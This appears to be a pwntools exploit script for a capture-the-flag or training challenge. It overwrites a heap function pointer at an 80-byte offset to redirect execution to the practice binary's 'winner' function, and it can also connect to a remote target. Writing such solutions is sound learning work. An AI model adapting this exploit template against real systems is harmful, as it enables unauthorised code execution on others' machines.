from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './heap_ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Offset to overwrite fp so we can ret2win (found with GDB)
offset = 80

# Build the payload
payload = flat({
    offset: elf.functions.winner
})

# Write to a file for future use:
# ./heap_ret2win $(cat payload)
write('payload', payload)

# We can't send null bytes as argv, so strip them
io = start([payload.strip(b'\x00')])

# Got Shell?
io.interactive()
